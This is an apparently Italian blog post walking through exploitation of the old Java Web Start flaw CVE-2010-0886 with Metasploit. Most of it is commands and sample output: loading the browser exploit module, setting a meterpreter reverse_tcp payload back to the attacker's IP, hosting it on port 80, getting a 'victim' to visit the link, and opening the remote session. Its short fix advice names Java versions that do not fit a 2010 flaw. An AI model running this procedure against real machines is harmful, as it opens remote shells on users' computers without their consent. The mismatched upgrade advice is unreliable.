Exploit, abbastanza vecchio, CVE-2010-0886, ma ne parlo lo stesso per un ovvio motivo.
Se siete su windows, account limitato, java NON SI AGGIORNA, al meno che non abbiate la password di amministrator.
Problema al quanto risolvibile, almeno per me, ma non per molti altri.
Soluzioni contro questo exploit ?
Upgrade to J2SE 1.4.2_07
Upgrade to J2SE 5.0 Update 2
Ma se uno è utente limitato come fa ad aggiornare, al meno che non ci sia un server che distribuisca e installa gli aggiornamenti all’avvio/spegnimento di windows, cosa rara, gli utenti sono tutti FOTTUTI.
Vediamo come usare questo exploit, in metasploit:
sudo svn update
sudo ./msfconsole
use windows/browser/java_ws_arginject_altjvm
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST YOUR_IP
set SRVPORT 80
Se avete apache:
sudo service apache2 stop
set URIPATH /
exploit
Output simile:
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.39:4444
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.1.39:80/
[*] Server started.
Ora facciamo visitare alla vittima:
http://YOUR_IP:80
Output simile:
[*] Request for "/" does not contain a sub-directory, redirecting to /X2EbB9v10GNe/ ...
[*] Responding to "GET /X2EbB9v10GNe/" request from 192.168.1.154:1105
[*] Sending js detection HTML to 192.168.1.154:1105...
[*] Responding to "GET /X2EbB9v10GNe/ijIcZf4C.shtml" request from 192.168.1.154:1105
[*] Sending JS version HTML to 192.168.1.154:1105...
E se tutto va bene:
sessions -i 1
e vi si pare meterpreter :D